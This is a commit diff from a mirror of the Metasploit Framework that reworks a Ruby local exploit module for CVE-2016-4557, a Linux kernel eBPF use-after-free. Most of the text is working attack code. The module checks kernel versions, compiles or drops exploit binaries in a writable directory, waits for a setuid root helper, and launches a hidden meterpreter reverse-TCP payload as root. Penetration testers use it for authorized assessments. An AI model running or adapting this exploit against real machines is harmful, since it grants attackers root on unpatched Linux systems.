1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-09 04:26:11 +02:00

Fix bpf_priv_esc module

This commit is contained in:
Brendan Coles 2018-12-12 17:23:12 +00:00
parent f4453be69e
commit 68d451711b
2 changed files with 256 additions and 205 deletions

View File

@ -7,18 +7,27 @@ class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking Rank = GoodRanking
include Msf::Post::File include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE include Msf::Exploit::EXE
include Msf::Exploit::FileDropper include Msf::Exploit::FileDropper
def initialize(info = {}) def initialize(info = {})
super( update_info( info, { super( update_info( info,
'Name' => 'Linux BPF Local Privilege Escalation', 'Name' => 'Linux BPF doubleput UAF Privilege Escalation',
'Description' => %q{ 'Description' => %q{
Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
sysctl is not set to 1, BPF can be abused to priv escalate. does not properly reference count file descriptors, resulting
Ubuntu 16.04 has all of these conditions met. in a use-after-free, which can be abused to escalate privileges.
The target system must be compiled with CONFIG_BPF_SYSCALL
and must not have kernel.unprivileged_bpf_disabled set to 1.
Ubuntu kernels prior to 4.4.0-22-generic are vulnerable.
This module has been tested successfully on Ubuntu 16.04 (x64)
kernel 4.4.0-21-generic.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
@ -29,11 +38,15 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => ['linux'], 'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64], 'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'], 'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2016-05-04',
'Privileged' => true,
'References' => 'References' =>
[ [
['BID', '90309'],
['CVE', '2016-4557'], ['CVE', '2016-4557'],
['EDB', '39772'], ['EDB', '39772'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'],
['URL', 'https://usn.ubuntu.com/2965-1/'],
['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7'] ['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7']
], ],
'Targets' => 'Targets' =>
@ -43,100 +56,190 @@ class MetasploitModule < Msf::Exploit::Local
], ],
'DefaultOptions' => 'DefaultOptions' =>
{ {
'payload' => 'linux/x64/meterpreter/reverse_tcp', 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true, 'PrependFork' => true,
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through 'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
}, },
'DefaultTarget' => 1, 'Notes' =>
'DisclosureDate' => 'May 04 2016', {
'Privileged' => true 'AKA' =>
} [
)) 'doubleput.c'
]
},
'DefaultTarget' => 1))
register_options [ register_options [
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ]) OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120])
] ]
register_advanced_options [ register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
] ]
end end
def base_dir
datastore['WritableDir'].to_s
end
def exploit_data(file)
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file)
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
return true if has_prereqs?
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'
end
end
def has_prereqs?
def check_libfuse_dev?
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
if lib.include?('install')
vprint_good('libfuse-dev is installed')
return true
else
print_error('libfuse-dev is not installed. Compiling will fail.')
return false
end
end
def check_gcc?
if has_gcc?
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
def check_pkgconfig?
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
if lib.include?('install')
vprint_good('pkg-config is installed')
return true
else
print_error('pkg-config is not installed. Exploitation will fail.')
return false
end
end
return check_libfuse_dev? && check_gcc? && check_pkgconfig?
end
def upload_and_compile(path, data, gcc_args='')
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
unless gcc_args.to_s.blank?
gcc_cmd << " #{gcc_args}"
end
output = cmd_exec gcc_cmd
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
end
register_file_for_cleanup path
chmod path
end
def check def check
def check_config_bpf_syscall? release = kernel_release
if Gem::Version.new(release.split('-').first) < Gem::Version.new('4.4') ||
Gem::Version.new(release.split('-').first) >= Gem::Version.new('4.5.5')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
# Ubuntu kernel version check
if release =~ /^4\.4\.0-(\d+)-generic/
if $1.to_i > 21
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
end
vprint_good "Kernel version #{release} appears to be vulnerable"
lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s
unless lib.include?('install')
print_error('fuse package is not installed. Exploitation will fail.')
return CheckCode::Safe
end
vprint_good('fuse package is installed')
fuse_mount = "#{base_dir}/fuse_mount"
if directory? fuse_mount
vprint_error("#{fuse_mount} should be unmounted and deleted. Exploitation will fail.")
return CheckCode::Safe
end
vprint_good("#{fuse_mount} doesn't exist")
config = kernel_config config = kernel_config
if config.nil? if config.nil?
vprint_error 'Could not retrieve kernel config' vprint_error 'Could not retrieve kernel config'
return return CheckCode::Unknown
end end
unless config.include? 'CONFIG_BPF_SYSCALL=y' unless config.include? 'CONFIG_BPF_SYSCALL=y'
vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL' vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
return false return CheckCode::Safe
end end
vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled' vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
true
end
def check_kernel_disabled?
if unprivileged_bpf_disabled? if unprivileged_bpf_disabled?
vprint_error 'Unprivileged BPF loading is not permitted' vprint_error 'Unprivileged BPF loading is not permitted'
return false return CheckCode::Safe
end end
vprint_good 'Unprivileged BPF loading is permitted' vprint_good 'Unprivileged BPF loading is permitted'
true
end
def check_fuse?()
lib = cmd_exec('dpkg --get-selections | grep ^fuse')
if lib.include?('install')
vprint_good('fuse is installed')
return true
else
print_error('fuse is not installed. Exploitation will fail.')
return false
end
end
def mount_point_exists?()
if directory?('/tmp/fuse_mount')
print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.')
return false
else
vprint_good('/tmp/fuse_mount doesn\'t exist')
return true
end
end
if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
CheckCode::Appears CheckCode::Appears
else
CheckCode::Safe
end
end end
def exploit def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
def upload_and_compile(filename, file_path, file_content, compile=nil) if is_root?
rm_f "#{file_path}" unless datastore['ForceExploit']
if not compile.nil? fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
rm_f "#{file_path}.c"
vprint_status("Writing #{filename} to #{file_path}.c")
write_file("#{file_path}.c", file_content)
register_file_for_cleanup("#{file_path}.c")
output = cmd_exec(compile)
if output != ''
print_error(output)
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
end end
else
vprint_status("Writing #{filename} to #{file_path}")
write_file(file_path, file_content)
end end
cmd_exec("chmod +x #{file_path}");
register_file_for_cleanup(file_path) unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
if nosuid? base_dir
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
end end
doubleput = %q{ doubleput = %q{
@ -389,120 +492,68 @@ class MetasploitModule < Msf::Exploit::Local
} }
} }
hello_filename = 'hello' @hello_name = 'hello'
hello_path = "#{datastore['WritableDir']}/#{hello_filename}" hello_path = "#{base_dir}/#{@hello_name}"
doubleput_file = "#{datastore['WritableDir']}/doubleput" @doubleput_name = 'doubleput'
suidhelper_filename = 'suidhelper' doubleput_path = "#{base_dir}/#{@doubleput_name}"
suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}" @suidhelper_path = "#{base_dir}/suidhelper"
payload_filename = rand_text_alpha(8) payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}"
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
if check != CheckCode::Appears if live_compile?
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') vprint_status 'Live compiling exploit on system...'
end
def has_prereqs?() upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`')
def check_libfuse_dev?() upload_and_compile(doubleput_path, doubleput, '-Wall')
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev') upload_and_compile(@suidhelper_path, suid_helper, '-Wall')
if lib.include?('install')
vprint_good('libfuse-dev is installed')
return true
else else
print_error('libfuse-dev is not installed. Compiling will fail.') vprint_status 'Dropping pre-compiled exploit on system...'
return false
end upload_and_chmodx(hello_path, exploit_data('hello'))
end upload_and_chmodx(doubleput_path, exploit_data('doubleput'))
def check_gcc?() upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper'))
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
def check_pkgconfig?()
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
if lib.include?('install')
vprint_good('pkg-config is installed')
return true
else
print_error('pkg-config is not installed. Exploitation will fail.')
return false
end
end
return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
end end
compile = false vprint_status 'Uploading payload...'
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' upload_and_chmodx(payload_path, generate_payload_exe)
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if compile == false print_status('Launching exploit. This may take up to 120 seconds.')
# doubleput file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
fd = ::File.open( path, "rb")
doubleput = fd.read(fd.stat.size)
fd.close
# hello file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
fd = ::File.open( path, "rb")
hello = fd.read(fd.stat.size)
fd.close
# suidhelper file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
fd = ::File.open( path, "rb")
suid_helper = fd.read(fd.stat.size)
fd.close
# overwrite with the hardcoded variable names in the compiled versions register_dir_for_cleanup "#{base_dir}/fuse_mount"
payload_filename = 'AyDJSaMM' cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "
payload_path = '/tmp/AyDJSaMM'
end
# make our substitutions so things are dynamic
suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
'exit(0);')
print_status('Writing files to target')
cmd_exec("cd #{datastore['WritableDir']}")
upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
upload_and_compile('payload', payload_path, generate_payload_exe)
print_status('Starting execution of priv esc. This may take about 120 seconds')
cmd_exec(doubleput_file)
sec_waited = 0 sec_waited = 0
until sec_waited > datastore['MAXWAIT'] do until sec_waited > datastore['MAXWAIT'] do
Rex.sleep(1) Rex.sleep(5)
# check file permissions # check file permissions
if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root') if setuid? @suidhelper_path
print_good('got root, starting payload') print_good("Success! set-uid root #{@suidhelper_path}")
print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target') cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "
print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
cmd_exec("#{suidhelper_path}")
return return
end end
sec_waited +=1 sec_waited += 5
end end
print_error "Failed to set-uid root #{@suidhelper_path}"
end
def cleanup
cmd_exec "killall #{@hello_name}"
cmd_exec "killall #{@doubleput_name}"
end end
def on_new_session(session) def on_new_session(session)
# if we don't /bin/bash here, our payload times out # remove root owned SUID executable and kill running exploit processes
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400 if session.type.eql? 'meterpreter'
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.shell_command_token('/bin/bash') session.fs.file.rm @suidhelper_path
session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'"
session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'"
session.fs.file.rm "#{base_dir}/fuse_mount"
else
session.shell_command_token "rm -f '#{@suidhelper_path}'"
session.shell_command_token "killall #{@doubleput_name}"
session.shell_command_token "killall #{@hello_name}"
session.shell_command_token "rm -f '#{base_dir}/fuse_mount'"
end
ensure
super super
end end
end end